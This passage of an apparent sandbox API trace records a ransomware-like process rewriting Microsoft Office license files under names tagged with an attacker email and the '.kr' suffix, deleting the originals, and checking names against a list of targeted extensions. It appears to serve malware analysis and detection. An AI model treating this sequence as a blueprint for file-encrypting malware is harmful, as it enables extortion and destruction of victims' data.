Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.063] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.063] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.064] GetLastError () returned 0x0 [0212.064] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4dde, lpOverlapped=0x0) returned 1 [0212.371] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0212.372] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.372] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0212.372] SetEndOfFile (hFile=0x36c) returned 1 [0212.372] CloseHandle (hObject=0x36c) returned 1 [0212.372] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.372] SetEndOfFile (hFile=0x3bc) returned 1 [0212.376] CloseHandle (hObject=0x3bc) returned 1 [0212.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms")) returned 1 [0212.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.379] lstrlenW (lpString=".doc") returned 4 [0212.379] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.379] lstrlenW (lpString=".docx") returned 5 [0212.379] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.379] lstrlenW (lpString=".pdf") returned 4 [0212.379] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.379] lstrlenW (lpString=".xls") returned 4 [0212.379] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".xlsx") returned 5 [0212.380] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.380] lstrlenW (lpString=".ppt") returned 4 [0212.380] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString=".zip") returned 4 [0212.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".rar") returned 4 [0212.380] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".bz2") returned 4 [0212.380] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".7z") returned 3 [0212.380] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString=".dbf") returned 4 [0212.380] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString=".1cd") returned 4 [0212.380] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString=".jpg") returned 4 [0212.380] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.380] lstrlenW (lpString=".doc") returned 4 [0212.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".docx") returned 5 [0212.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.380] lstrlenW (lpString=".pdf") returned 4 [0212.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".xls") returned 4 [0212.380] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.380] lstrlenW (lpString=".xlsx") returned 5 [0212.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.381] lstrlenW (lpString=".ppt") returned 4 [0212.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.381] lstrlenW (lpString=".zip") returned 4 [0212.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString=".rar") returned 4 [0212.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString=".bz2") returned 4 [0212.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString=".7z") returned 3 [0212.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.381] lstrlenW (lpString=".dbf") returned 4 [0212.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.381] lstrlenW (lpString=".1cd") returned 4 [0212.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0212.381] lstrlenW (lpString=".jpg") returned 4 [0212.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.381] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.381] lstrlenW (lpString="PowerPointR_Grace-ppd.xrm-ms") returned 28 [0212.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.382] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20779) returned 1 [0212.382] CloseHandle (hObject=0x3bc) returned 1 [0212.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms")) returned 0x220 [0212.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.383] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.383] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.383] GetLastError () returned 0x0 [0212.384] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x512b, lpOverlapped=0x0) returned 1 [0212.385] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0212.387] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.387] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0212.387] SetEndOfFile (hFile=0x36c) returned 1 [0212.387] CloseHandle (hObject=0x36c) returned 1 [0212.387] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.387] SetEndOfFile (hFile=0x3bc) returned 1 [0212.390] CloseHandle (hObject=0x3bc) returned 1 [0212.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms")) returned 1 [0212.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.391] lstrlenW (lpString=".doc") returned 4 [0212.391] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.391] lstrlenW (lpString=".docx") returned 5 [0212.391] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.392] lstrlenW (lpString=".pdf") returned 4 [0212.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".xls") returned 4 [0212.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".xlsx") returned 5 [0212.392] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.392] lstrlenW (lpString=".ppt") returned 4 [0212.392] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString=".zip") returned 4 [0212.392] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".rar") returned 4 [0212.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".bz2") returned 4 [0212.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".7z") returned 3 [0212.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString=".dbf") returned 4 [0212.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString=".1cd") returned 4 [0212.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString=".jpg") returned 4 [0212.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.392] lstrlenW (lpString=".doc") returned 4 [0212.392] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.392] lstrlenW (lpString=".docx") returned 5 [0212.392] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.392] lstrlenW (lpString=".pdf") returned 4 [0212.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString=".xls") returned 4 [0212.393] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString=".xlsx") returned 5 [0212.393] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.393] lstrlenW (lpString=".ppt") returned 4 [0212.393] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.393] lstrlenW (lpString=".zip") returned 4 [0212.393] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString=".rar") returned 4 [0212.393] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString=".bz2") returned 4 [0212.393] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString=".7z") returned 3 [0212.393] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.393] lstrlenW (lpString=".dbf") returned 4 [0212.393] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.393] lstrlenW (lpString=".1cd") returned 4 [0212.393] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0212.393] lstrlenW (lpString=".jpg") returned 4 [0212.393] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.393] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.393] lstrlenW (lpString="PowerPointR_Grace-ul-oob.xrm-ms") returned 31 [0212.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.394] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11614) returned 1 [0212.394] CloseHandle (hObject=0x3bc) returned 1 [0212.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms")) returned 0x220 [0212.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.395] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.395] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.396] GetLastError () returned 0x0 [0212.396] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0212.398] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0212.399] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.399] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0212.399] SetEndOfFile (hFile=0x36c) returned 1 [0212.399] CloseHandle (hObject=0x36c) returned 1 [0212.399] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.399] SetEndOfFile (hFile=0x3bc) returned 1 [0212.402] CloseHandle (hObject=0x3bc) returned 1 [0212.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms")) returned 1 [0212.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.403] lstrlenW (lpString=".doc") returned 4 [0212.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.403] lstrlenW (lpString=".docx") returned 5 [0212.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.403] lstrlenW (lpString=".pdf") returned 4 [0212.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.403] lstrlenW (lpString=".xls") returned 4 [0212.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.403] lstrlenW (lpString=".xlsx") returned 5 [0212.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.403] lstrlenW (lpString=".ppt") returned 4 [0212.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.403] lstrlenW (lpString=".zip") returned 4 [0212.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.403] lstrlenW (lpString=".rar") returned 4 [0212.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".bz2") returned 4 [0212.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".7z") returned 3 [0212.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString=".dbf") returned 4 [0212.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString=".1cd") returned 4 [0212.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString=".jpg") returned 4 [0212.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString=".doc") returned 4 [0212.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".docx") returned 5 [0212.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.404] lstrlenW (lpString=".pdf") returned 4 [0212.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".xls") returned 4 [0212.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".xlsx") returned 5 [0212.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.404] lstrlenW (lpString=".ppt") returned 4 [0212.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.404] lstrlenW (lpString=".zip") returned 4 [0212.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.404] lstrlenW (lpString=".rar") returned 4 [0212.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.405] lstrlenW (lpString=".bz2") returned 4 [0212.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.405] lstrlenW (lpString=".7z") returned 3 [0212.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.405] lstrlenW (lpString=".dbf") returned 4 [0212.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.405] lstrlenW (lpString=".1cd") returned 4 [0212.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0212.405] lstrlenW (lpString=".jpg") returned 4 [0212.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.405] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.405] lstrlenW (lpString="PowerPointR_OEM_Perp-pl.xrm-ms") returned 30 [0212.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.406] GetFileSizeEx (in: 